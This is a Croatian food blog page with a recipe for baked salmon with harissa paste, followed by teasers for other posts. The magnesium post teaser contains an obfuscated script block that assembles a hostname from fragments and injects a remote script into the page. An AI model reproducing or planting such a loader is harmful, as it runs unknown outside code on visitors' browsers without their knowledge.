PEČENI LOSOS S HARISSA PASTOM




Pečeni losos s harissa pastom 



Losos je svestrana namirnica koja se može pripremiti za ručak ili večeru na različite načine. Odličan je izvor bjelančevina i omega-3 masnih kiselina, koje tijelu pružaju važne nutrijente i odlično zasićuju.




Pečeni losos s harissa pastom 


Sastojci:

  • 2 fileta lososa od 170 grama
  • 200 g cherry rajčica
  • 2-3 češnja češnjaka
  • 1 ljutika
  • 1 žlica harissa paste
  • 1 žlica svježe nasjeckanog kopra
  • ½ čajne žličice mljevenog kumina
  • ½ čajne žličice mljevene slatke paprike
  • sol i papar po želji
  • biljno ulje po želji



Priprema:

  1. Zagrijte pećnicu na 220 Celzijevih stupnjeva. U pećnicu stavite tavu od lijevanog željeza kako bi se zagrijala zajedno s pećnicom.
  2. Posušite višak vlažnosti s ribe papirnatim ubrusom. Začinite ih kuminom, slatkom paprikom i s malo soli. Jednu stranu svakog fileta premažite i harissa pastom.
  3. U zdjeli pomiješajte nasjeckanu ljutiku, češnjak, cherry rajčice i malo biljnog ulja. Začinite sa solju po želji i promiješajte.
  4. Pažljivo izvadite vruću tavu iz pećnice i u nju dodajte malo ulja. Stavite u tavu filete lososa tako da dio premazan harissa pastom bude okrenut prema gore. Oko lososa rasporedite rajčice sa začinima.
  5. Pecite sve zajedno oko 10 minuta, odnosno dok riba nije pečena do kraja. Poslužite ribu s pečenim povrćem, smrvljenim feta sirom i svježim koprom. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više